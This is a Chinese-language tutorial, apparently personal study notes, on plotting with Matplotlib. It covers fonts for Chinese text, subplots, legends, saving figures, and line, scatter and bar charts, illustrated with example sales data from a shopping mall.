plt.title在当前图形中添加图表题,可以确定标题的名称,位置,颜色,字体大小等参数
plt.xlable在当前图形中添加x轴名称(标题),可以指定位置,颜色,字体大小等参数
plt.ylable在当前图形中添加y轴名称(标题),可以指定位置,颜色,字体大小等参数
plt.xlim指定当前x轴的范围,只能确定一个数值区间,而无法使用字符串标识
plt.ylim指定当前y轴的范围,只能确定一个数值区间,而无法使用字符串标识
plt.xticks指定x轴可读的数目与取值
plt.yticks指定y轴可读的书目与取值

rcParams参数

  • 原文链接open in new window
  • plt(matplotlib.pyplot)使用rc配置文件来自定义图形的各种默认属性,称之为rc配置或rc参数。
  • 通过rc参数可以修改默认的属性,包括窗体大小、每英寸的点数、线条宽度、颜色、样式、坐标轴、坐标和网络属性、文本、字体等。
  • rc参数存储在字典变量中,通过字典的方式进行访问。

正常显示中文和负号

Matplotlib内无中文字节码,需要另外添加显示中文的模块

  • 1.使用字体管理器font_manager
from matplotlib.font_manager import FontProperties as FP
+font = FP(fname = 'C:/WINDOWS/Fonts/STKAITI.TTF', size=16)
+
  • 2.使用matplotlib的rcParams属性
matplotlib.rcParams['font.family'] = ['SimHei']
+
  • 3.使用matplotlib的rcParams属性
plt.rcParams['axes.unicode_minus'] = False
+

例子:绘制sin(x)sin(x)

绘制sin(x) ,并添加标题


title('文本',fontsize=None,fontweight=None,fontstyle=None) 
+
  • fontsize
    • 默认12
    • 可选参数
      [‘xx-small’, ‘x-small’, ‘small’, ‘medium’, ‘large’,‘x-large’, ‘xx-large’] 
      +
  • fontweight
    • 设置字体粗细
    • 可选参数
      [‘light’, ‘normal’, edium’, ‘semibold’, ‘bold’, ‘heavy’, ‘black’] 
      +
    • fontstyle
      • 设置字体类型
      • 可选参数
        [ ‘normal’ | ‘italic’ | ‘oblique’ ]
        +
      • italic斜体
      • oblique倾斜
  • backgroundcolor标题背景颜色

1.使用字体管理器font_manager
import matplotlib.pyplot as plt
+import numpy as np
+from matplotlib.font_manager import FontProperties as FP
+
+font = FP(fname='C:/WINDOWS/Fonts/STKAITI.TTF', size=12)
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', fontproperties=font, size=18)  # 设置图的标题
+plt.xlabel('x轴', fontproperties=font)  # 设置X轴的名称
+plt.ylabel('y轴', fontproperties=font)  # 设置y轴的名称
+plt.plot(a1, b1)  # 画折线图
+plt.show()
+
+
  • 运行结果

    使用fontmanager绘制sin(x)备用链接


为不同标题(图、坐标轴)设置不同的字体,大小,采用字体管理器
import matplotlib.pyplot as plt
+import numpy as np
+from matplotlib.font_manager import fontManager
+
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', fontproperties='FangSong', size=16)  # 设置图的标题
+plt.xlabel('x值', fontproperties='simhei', fontsize=10)  # 设置X轴的名称
+plt.ylabel('函数值', fontproperties='stkaiti')  # 设置y轴的名称
+plt.plot(a1, b1)  # 画折线图
+plt.show()
+
+
  • 运行结果

    sin(x)采用多种字体备用链接


显示图中的负号

虽然这里这么写了,但是在字体管理器那里我已经可以正常显示负号了

  • 配置rc参数

    rcParams['axes.unicode_minus']=False #修改y轴的名称(标题)
    +
    import matplotlib.pyplot as plt
    +import numpy as np
    +
    +plt.rcParams['font.family'] = ['simhei']
    +plt.rcParams['axes.unicode_minus'] = False
    +a1 = np.linspace(0, 2 * np.pi)
    +b1 = np.sin(a1)
    +plt.title('sin(x)函数图', size=16)  # 设置图的标题
    +plt.xlabel('x 值', labelpad=10)    # 设置X轴的名称
    +plt.ylabel('函\n数\n值',
    +          rotation=0,          # 文本中的文字水平显示
    +          linespacing=2,       # 行距
    +          labelpad=20,         # 文本名称与坐标轴的距离
    +          position=(10, 0.35)  # 文本名称的纵坐标(第2个数值)
    +          )
    +plt.plot(a1, b1)  # 画折线图
    +plt.show()
    +
    +
    • 运行结果

      sin(x)纵坐标旋转备用链接


  • 使用matplotlib的rcParams属性
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+a1 = np.linspace(0, 2 * np.pi)
+b1 = np.sin(a1)
+plt.title('sin(x)函数图', fontsize='large')  # 设置图的标题
+plt.xlabel('x的值')    # 设置X轴的名称
+plt.ylabel('函数值')   # 设置y轴的名称
+plt.plot(a1, b1)      # 画折线图
+plt.show()
+
+# 运行结果
+C:\Users\233\AppData\Local\Programs\Python\Python38\lib\site-packages\matplotlib\backends\backend_agg.py:214: RuntimeWarning: Glyph 8722 missing from current font.
+  font.set_text(s, 0.0, flags=flags)
+C:\Users\233\AppData\Local\Programs\Python\Python38\lib\site-packages\matplotlib\backends\backend_agg.py:183: RuntimeWarning: Glyph 8722 missing from current font.
+  font.set_text(s, 0, flags=flags)
+
+
  • 出错问题在于使用了默认的Unicode负号
    • 但是用的SimHei字体不支持Unicode负号

绘制sin(x),cos(x)
  • 方案一:在一张图上绘两条曲线
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+plt.plot(a1, b1)
+plt.plot(a1, c1)
+plt.title('sin---cos 曲线图')
+plt.show()
+
+
  • 运行结果

    同图二线备用链接


  • 方案二:在一张图figure上画多个小图subplot
    • 创建画布对象
      • fig=plt.figure()
    • 在fig画布创建子图并分配子图的位置
      • fig.add_subplot(rawnum,colnum,stanum)
        • 将整个图分成rawnum行,colnum列个子图,
        • stanum为子图的位置
          • 从左到右从上到下排序
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+fig = plt.figure(figsize=(12, 4))  # 定义了图对象
+fig.add_subplot(2, 2, 1)  # fig.add_subplot(221)
+plt.plot(a1, b1)
+fig.add_subplot(2, 2, 2)
+plt.plot(a1, c1)
+fig.add_subplot(223)
+plt.plot(a1, d1)
+plt.show()
+
+
  • 运行结果

    绘制子图备用链接


  • 添加子图标题
    • 每次调用plt.plot绘制一张子图之前调用plt.title添加一次标题
      • 这样就可以添加到当前绘制的图上
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+fig = plt.figure(figsize=(12, 4))  # 定义了图对象
+fig.add_subplot(2, 2, 1)  # fig.add_subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+fig.add_subplot(2, 2, 2)
+plt.title('cos(x)')
+plt.plot(a1, c1)
+fig.add_subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+plt.show()
+
+
  • 运行结果

    给子图加标题备用链接


  • 子图的位置分布
    • tight_layout可以通过参数pad, w_pad, h_pad来设置一些布局的细节
    • 添加总标题
      plt.suptitle()
      +
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt.figure(figsize=(8, 4))  # 创建画布
+plt.suptitle('Figuer 标题', fontsize=14)
+
+plt.subplot(2, 2, 1)  # plt.subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+
+plt.subplot(2, 2, 2)
+plt.title('cos(x)')
+plt.plot(a1, c1)
+
+plt.subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+
+plt.subplot(224)
+plt.title('二次函数')
+plt.plot(a1, e1)
+plt.tight_layout(1, 3, 3)
+plt.show()
+
+
  • 运行截图

例题:烧烤店营业额折线图
  • 已知某商场2019年每个月份的营业额如下所示。绘制折线图对该烧烤店全年营业额进行可视化。

| 月份 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | | - |- |- |- |- |- |- |- |- |- |- |- |- |- | | 营业额(万元) | 5.2 | 4 | 3.7 | 5.2 | 4.9 | 3.6 | 5.8 | 3.8 | 6.7 | 6.1 | 4.5 | 5.7 |

import matplotlib.pyplot as plt
+
+plt.rcParams['font.sans-serif'] = ['simhei']
+a = list(range(1, 13))
+b = [5.2, 4, 3.7, 5.2, 4.9, 3.6, 5.8, 3.8, 6.7, 6.1, 4.5, 5.7]
+plt.title('烧烤店营业额')
+plt.xlabel('月')
+plt.ylabel('营\n业\n额', rotation=0, labelpad=20)
+xnum = range(1, 13)
+xlabel = [str(i) + '月' for i in range(1, 13)]
+plt.xticks(xnum, xlabel)  # 设置x轴的刻度与标签
+plt.plot(a, b)
+plt.show()
+
+
  • 运行结果

    烧烤店营业额备用链接


legend.loc参数

  • 原文链接open in new window
  • legend()不加任何参数
    • 则默认获取图中曲线的label及颜色生成图例在图内
  • loc = 'best'
    • 图例自动‘安家’在一个坐标面内的数据图表最少的位置
  • loc = 'XXX'
    • 这里的'XXX'代表了坐标面中的九个位置,例如loc = 'center'表示坐标平面中心位置,九种参数值及所对应位置如下图所示
  • loc = (x, y)
    • (x, y)表示图例左下角的位置,这是最灵活的一种放置图例的方法,慢慢调整,总会找到你想要的放置图例的位置
    • x, y并不是轴域中实际的x, y的值,而是将x轴, y轴分别看成1, 即:
      • (x/(x_maxx_min),y/(y_maxy_min))( x / (x\_max-x\_min) , y / (y\_max - y\_min) )
        • 即进行归一化处理

设置图例

  • 图例往往位于图形绘制结果的一角或一侧,主要用于对所绘制的图形中使用各种符号和颜色进行说明,便于理解图形
  • 使用方法
    • matplotlib.pyplot中的legend()函数;

legend的主要参数如下:

  • loc
    • 用来说明图例的位置,可为整数,字符串或实数元组
    • 可用的字符串值有
      • best(0)
      • upper right(1),upper left(2),
      • lower left(3), lower right(4)
      • right(5),left(6)
      • lower center(8),upper center(9)
      • center(10)
    • 通常情况下,legend()如果不设置任何参数,默认是加到图像的内的位置。
    • 若要放至的图之外,可设置参数bbox_to_anchor的值。
      • bbox_to_anchor=(levelnum,vernum)
        +
  • fontsize
    • 用来指定图例中的文本使用的字号
    • 可以是表示绝对大小的整数,实数或表示相对大小的字符串.
  • facecolor
    • 用来指定图例的背景颜色
  • edgecolor
    • 用来指定图例的边框颜色
  • shadow
    • 用来指定图例是否显示阴影的布尔值
  • framealpha
    • 用来指定图例背景透明度的实数
  • title
    • 用来指定图例标题的字符串
  • handles
    • 图例对应的plot对象
  • labels
    • 图例的名称
      • 能够覆盖在plt.plot( )中label参数值

例1:给三角函数图加图例
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+plt.title('sin---cos 曲线图')
+plt.plot(a1, c1)
+plt.plot(a1, b1)
+plt.legend(['cosx', 'sinx'], loc=3) # loc=3对应lower left
+plt.show()
+
+
  • 运行截图

给四个子图分别添加图例
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+
+plt.figure(figsize=(8, 4))  # 创建画布
+plt.suptitle('Figuer 标题', fontsize=14)
+
+plt.subplot(2, 2, 1)  # plt.subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+plt.legend(['sinx'])
+plt.subplot(2, 2, 2)
+plt.title('coswe')
+plt.plot(a1, c1)
+plt.legend(['cosx'])
+plt.subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+plt.legend(['straight lines'], edgecolor='r')
+plt.subplot(224)
+plt.title('二次函数')
+plt.plot(a1, e1)
+plt.tight_layout(1, 3, 3)
+plt.show()
+
+
  • 运行截图

保存与显示图


保存:
  • savefig(fname, dpi=None)
    +
    • 常用的两个参数:保存的文件名与像素.
  • matplotlib文件保存有格式要求,当输入一个错误的格式如.bmp,系统会显示错误,并提示其支持的格式:
    ValueError: Format 'bmp' is not supported (supported formats: eps, jpeg, jpg, pdf, pgf, png, ps, raw, rgba, svg, svgz, tif, tiff)
    +

实例
import matplotlib.pyplot as plt
+import numpy as np
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '123.png'))
+
+plt.rcParams['font.family'] = ['SimHei']
+plt.rcParams['axes.unicode_minus'] = False
+a1 = np.linspace(-2 * np.pi, 2 * np.pi)
+b1 = np.sin(a1)
+c1 = np.cos(a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt.figure(figsize=(8, 4))  # 创建画布
+plt.suptitle('Figuer 标题', fontsize=14)
+
+plt.subplot(2, 2, 1)  # plt.subplot(221)
+plt.title('sin(x)')
+plt.plot(a1, b1)
+plt.legend(['sinx'])
+plt.subplot(2, 2, 2)
+plt.title('coswe')
+plt.plot(a1, c1)
+plt.legend(['cosx'])
+plt.subplot(223)
+plt.title('直线')
+plt.plot(a1, d1)
+plt.legend(['straight lines'], edgecolor='r')
+plt.subplot(224)
+plt.title('二次函数')
+plt.plot(a1, e1)
+plt.tight_layout(1, 3, 3)
+
+# 图的保存
+plt.savefig(file_path)
+plt.show()
+
+
  • 这里将图片保存在了py文件同级目录下
    • 因为这个文件属于测试冗余文件,放在这里方便删除

显示
  • show()
    +

折线图:plot()实例

  • 折线图比较适合描述和比较

    • 多组数据随时间变化的趋势。
    • 或者一组数据对另外一组数据的依赖程度。
  • 使用方法

    • matplotlib.pyplot中的plot()函数。
  • 相关参数可以设置:

    • 折线图上图上端点的位置,标记符号的形状,大小和颜色以及线条的颜色,线型等样式。
  • pyplot绘图

    • 1.生成源始数据,导入数据。
    • 2.设置标签和坐标轴刻度
    • 3.设置标题
    • 4.确定绘制的图形形状。
    • 5.设置图例
    • 7.保存图
    • 8.显示图
  • plot()函数

    plot(x轴,y轴,折线形状颜色标记,设置标签显示信息)
    +

例1 商场优惠

  • 某商品进价49元,售价75元,现在商场新品上架搞促销活动,
    • 顾客每多买一件就给优惠1%,
      • 但是每人最多可以购买30件。
    • 对于商场而言
      • 活动越火爆商品单价越低,但总收入和盈利越多。
    • 对于顾客来说
      • 虽然买的越多单价越低,但是消费总金额却是越来越多的
      • 并且购买太多也会因为用不完而导致过期不得不丢弃造成浪费。
    • 现在要求计算并使用折线图可视化
      • 顾客购买数量num与商家收益、顾客总消费以及顾客省钱情况的关系
        • 并标记商场收益最大的批发数量和商场收益。
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+# 购买数量数据存储
+num = np.array(range(1, 31))
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+# 商家收益数据
+earnnum = (wnum - 49) * num
+# 顾客总消费
+cusprice = wnum * num
+# 顾客省钱
+cusnum = num * (price - wnum)
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum)
+plt.plot(num, cusprice)
+plt.plot(num, cusnum)
+plt.title('数量--金额关系图')
+plt.legend(['商家收益', '顾客总消费', '顾客省钱'])
+plt.show()
+
+
  • 运行结果

修改线的形状
  • 可以在plot中增加参数
    • 修改线的形状:
      • '-' 实线
      • '--' 虚线
      • '-.' 点线
      • ':' 点虚线
      • '.' 点
      • ','像素
      • 'o' 圆形
      • 'v' 朝下的三角形
      • '^' 朝上的三角形
      • 's' 正方形
      • '*' 五角形
    • 修改线的颜色:
      • ‘b’蓝色
      • ‘g’绿色
      • ‘r’红色
      • ‘c’青色
      • ‘m’品红
      • ‘y’黄色、
      • ‘k’黑色
      • ‘w’ 白色
    • 加入图例的标签
      • label='文本'
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+num = np.array(range(1, 31))  # 购买数量数据存储
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+earnnum = (wnum - 49) * num  # 商家收益数据
+cusprice = wnum * num  # 顾客总消费
+cusnum = num * (price - wnum)  # 顾客省钱
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum, '--', label='商家收益')
+plt.plot(num, cusprice, label='顾客总消费')
+plt.plot(num, cusnum, ':', label='顾客省钱')
+plt.title('数量--金额关系图')
+
+plt.legend()
+plt.show()
+
+
  • 运行截图

散点图实战


例1:折线图重绘为散点图

  • 结合折线图和散点图,重新绘制例9-2中要求的图形。
    • 使用plot()函数依次连接若干端点绘制折线图
    • 使用scatter()函数在指定的端点处绘制散点图
    • 结合以上两个函数,可以实现例9-2同样的效果图。
    • 为了稍做区分,在本例中把端点符号设置为蓝色三角形。

例2:商场信号强度

  • 某商场开业三个月后,有顾客反应商场一楼部分位置的手机信号不好,个别收银台有时无法正常使用微信支付或支付宝,商场内也有些位置无法正常使用微信。
    • 为此,商场安排工作人员在不同位置对手机信号强度进行测试以便进一步提高服务质量和用户体验
      • 测试数据保存于文件D:\服务质量保证\商场一楼手机信号强度.txt
        • 文件中每行使用逗号分隔的三个数字分别表示商场内一个位置的x、y坐标和信号强度
          • 其中x、y坐标值以商场西南角为坐标原点且向东为x正轴(共150米)、向北为y正轴(共30米)
          • 信号强度以0表示无信号、100表示最强。
  • 编写程序,使用散点图对该商场一楼所有测量位置的手机信号强度进行可视化
    • 既可以直观地发现不同位置信号的强度以便分析原因
    • 也方便观察测试位置的分布是否合理。
    • 在散点图中
      • 使用横轴表示x坐标位置
      • 纵轴表示y坐标位置
      • 使用五角星标记测量位置
      • 五角星大小表示信号强度
        • 五角星越大表示信号越强,反之表示信号越弱。
        • 为了获得更好的可视化效果,信号强度
          • 高于或等于70的位置使用绿色五角星
          • 低于70且高于或等于40的使用蓝色五角星
          • 低于40的位置使用红色五角星。

例3:商场优惠折线图散点图结合

import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+num = np.array(range(1, 31))  # 购买数量数据存储
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+earnnum = (wnum - 49) * num  # 商家收益数据
+cusprice = wnum * num  # 顾客总消费
+cusnum = num * (price - wnum)  # 顾客省钱
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum, '--', label='商家收益')
+plt.plot(num, cusprice, label='顾客总消费')
+plt.plot(num, cusnum, ':', label='顾客省钱')
+plt.title('数量--金额关系图')
+# 求商场收益的最大值
+maxearn = max(earnnum)
+# 求商场收益最大值在earnnum中的位置。采用列表求索引的方法
+pos = list(earnnum).index(maxearn)
+# 用散点图标出商场收益的最大值
+plt.scatter(pos + 1, maxearn, marker='*', color='r', s=240)
+plt.legend()
+plt.show()
+
+
  • 运行截图

标注数字
  • 如何实现标注
    annotate(s='str', 
    +        xy=(x, y), 
    +        xytext=(l1, l2), 
    +        arrowprops=dict())
    +
  • s:标注的文本
  • xy=(横坐标,纵坐标) 箭头尖端
  • xytext=(横坐标,纵坐标) 文字的坐标
  • arrowprops= {facecolor= '颜色',shrink = '数字' ,arrowstyle=''}

import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+num = np.array(range(1, 31))    # 购买数量数据存储
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+earnnum = (wnum - 49) * num     # 商家收益数据
+cusprice = wnum * num           # 顾客总消费
+cusnum = num * (price - wnum)   # 顾客省钱
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum, '--', label='商家收益')
+plt.plot(num, cusprice, label='顾客总消费')
+plt.plot(num, cusnum, ':', label='顾客省钱')
+plt.title('数量--金额关系图')
+# 求商场收益的最大值
+maxearn = max(earnnum)
+# 求商场收益最大值在earnnum中的位置。采用列表求索引的方法
+pos = list(earnnum).index(maxearn)
+# 用散点图标出商场收益的最大值
+plt.scatter(pos + 1, maxearn, marker='*', color='r', s=240)
+plt.annotate(maxearn, xy=(pos + 1, maxearn + 40),
+             xytext=(pos, maxearn + 300),
+             arrowprops=dict(facecolor='blue',
+                             shrink=5,
+                             )
+             )
+plt.legend()
+plt.show()
+
+
  • 运行截图

Matplotlib数据可视化


数据可视化的误区

  • 没有明确可视化的目标
  • 通过特殊图形设置误导受众
  • 选择过于“花哨”的图形却忽略了可视化的本质
  • 缺乏根据信息表达目标选择“最佳”图形的意识
  • 信息过载

可视化方式

  • 可视化要表达的信息内容按主题可分为四种:
    • 趋势
    • 对比
    • 结构
    • 关系

趋势

  • 趋势指多组数据随时间变化的发展趋势,或者一组数据对另个一组数据的依赖程度。
  • 例如走势的高低、状态的变化好坏,按周的订单量趋势、按月的转化率趋势等等通常用于按时间发展的眼光来评估事物的场景。
  • 常用的可视化图形是折线图(plot())
    • 数据项较少的情况下,也可以使用柱形图(bar())。
  • 数据项比较少时用柱状图比较清晰,但是当数据项多时柱状图会显得并排会显得比较挤

示例:商场部门业绩
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+food_d = [60, 40, 46, 50, 57, 76, 70, 33, 70, 61, 49, 45]
+cos_d = [110, 75, 133, 80, 83, 95, 87, 89, 96, 88, 86, 89]
+gold_d = [143, 100, 89, 90, 78, 129, 100, 97, 108, 152, 96, 87]
+
+mo = [str(i) + '月' for i in range(1, 13)]
+
+plt.figure(figsize=(10, 5))
+plt.title('某商场各部门业绩(万元)')
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+# 绘制折线
+plt.plot(month, food_d, linestyle='--', color='blue')
+plt.plot(month, man_d, color='r')
+plt.plot(month, woman_d, color='c', linestyle=':')
+plt.plot(month, cos_d, color='y')
+plt.plot(month, gold_d, linestyle='-.')
+# 添加图例
+plt.legend(['餐饮', '男装', '女装', '化妆品', '金银首饰'])
+
+plt.show()
+
+
  • 运行截图

对比

  • 对比指不同事物之间或同一事物在不同时间下的优劣等的对照,能够比较清晰地反映数据的差异,一般情况下用来反映分类项目之间的比较。
  • 例如商场中不同部门的月业绩情况,某课程的成绩的分布情况,新用户与老用户的客单价对比、不同广告来源渠道的订单量和利润率对比等。
  • 常用的可视化图形
    • 对比数据较少时选
      • 择柱形图(bar())、条形图(barh());
    • 而多个对象的多个指标的同时对比可用
      • 雷达图(polar())等。

示例:商场男女装销售对比
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month, man_d, 0.8, color='#FF00FF', label='男装', )
+plt.bar(month, woman_d, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+plt.show()
+
+

图形美化-"倒影"柱状图
  • 绘图时另一组数据的纵坐标取相反数
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+# 为了方便取每个数的负数,womana_d转换为数组
+woman_d = np.array([70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60])
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month, man_d, 0.8, color='#FF00FF', label='男装', )
+plt.bar(month, -woman_d, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+plt.show()
+
+
  • 运行截图

美化-并列柱状图
  • 一组数据的x轴坐标左/右平移一定距离
    • 平移的距离应当 >= 柱状图的宽度以避免图象重叠
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month - 0.4, man_d, 0.4, color='#FF00FF', label='男装', )
+plt.bar(month, woman_d, 0.4, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+plt.show()
+
+

美化:添加注释文字
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month - 0.4, man_d, 0.4, color='#FF00FF', label='男装', )
+plt.bar(month, woman_d, 0.4, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+
+for i, j in zip(month, man_d):
+    plt.text(i - 0.4, j/2, j, ha='center')
+    # i-0.4 :文字起始(左边沿)横坐标
+    # j/2 :文字起始(下边沿)纵坐标
+    # ha = 'center' : i-0.4作为文字的横向中点,文字均匀分布在i-0.4两侧
+    # j : 待绘制的文字/数值
+
+
+for i, j in zip(month, woman_d):
+    plt.text(i - 0.1, j - 10, j)
+plt.show()
+
+
  • for i, j in zip(month, man_d):
    +  plt.text(i - 0.4, j/2, j, ha='center')
    +
    • j
      • 待绘制的文字/数值
    • i-0.4
      • 文字/数值起始(左边沿)横坐标
    • j/2
      • 文字/数值起始(下边沿)纵坐标
    • ha = 'center'
      • i-0.4作为文字的横向中点,文字/数值均匀分布在i-0.4两侧
  • 运行截图


示例2:商场各部门业绩
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+re_d = [60, 40, 46, 50, 57, 76, 70, 33, 70, 61, 49, 45]
+hua_d = [110, 75, 133, 80, 83, 95, 87, 89, 96, 88, 86, 89]
+gl_d = [143, 100, 89, 90, 78, 129, 100, 97, 108, 152, 96, 87]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month - 0.1, re_d, 0.1)
+plt.bar(month, man_d, 0.1, color='r')
+plt.bar(month + 0.1, woman_d, 0.1, color='b')
+plt.bar(month + 0.2, hua_d, 0.1)
+plt.bar(month + 0.3, gl_d, 0.1)
+plt.title('某商场各部门业绩(万元)')
+plt.legend(['餐饮', '男装', '女装', '化妆品', '金银首饰'])
+plt.show()
+
+
  • 运行截图
    • 显得比较挤,感觉上没有折线图美观
    • 并且数据项多了之后同一组数据的变化趋势就不明显了
      • 单作对比数据实用的话这样画柱状图还好
      • 但是用折线图的话还能同时反映每组数据的变化趋势

转化:条形图:barh()
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13))  # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+re_d = [60, 40, 46, 50, 57, 76, 70, 33, 70, 61, 49, 45]
+hua_d = [110, 75, 133, 80, 83, 95, 87, 89, 96, 88, 86, 89]
+gl_d = [143, 100, 89, 90, 78, 129, 100, 97, 108, 152, 96, 87]
+mo = [str(i) + '月' for i in range(1, 13)]
+
+plt.figure(figsize=(10, 6))
+plt.ylim(0, 13)
+plt.yticks(month, mo)
+plt.ylabel('月份')
+plt.xlabel('营业额(万元)', labelpad=12)
+plt.barh(month - 0.2, re_d, 0.2, color='pink')
+plt.barh(month, man_d, 0.2, color='r')
+plt.barh(month + 0.2, woman_d, 0.2, color='c')
+plt.barh(month + 0.4, hua_d, 0.2, color='yellow')
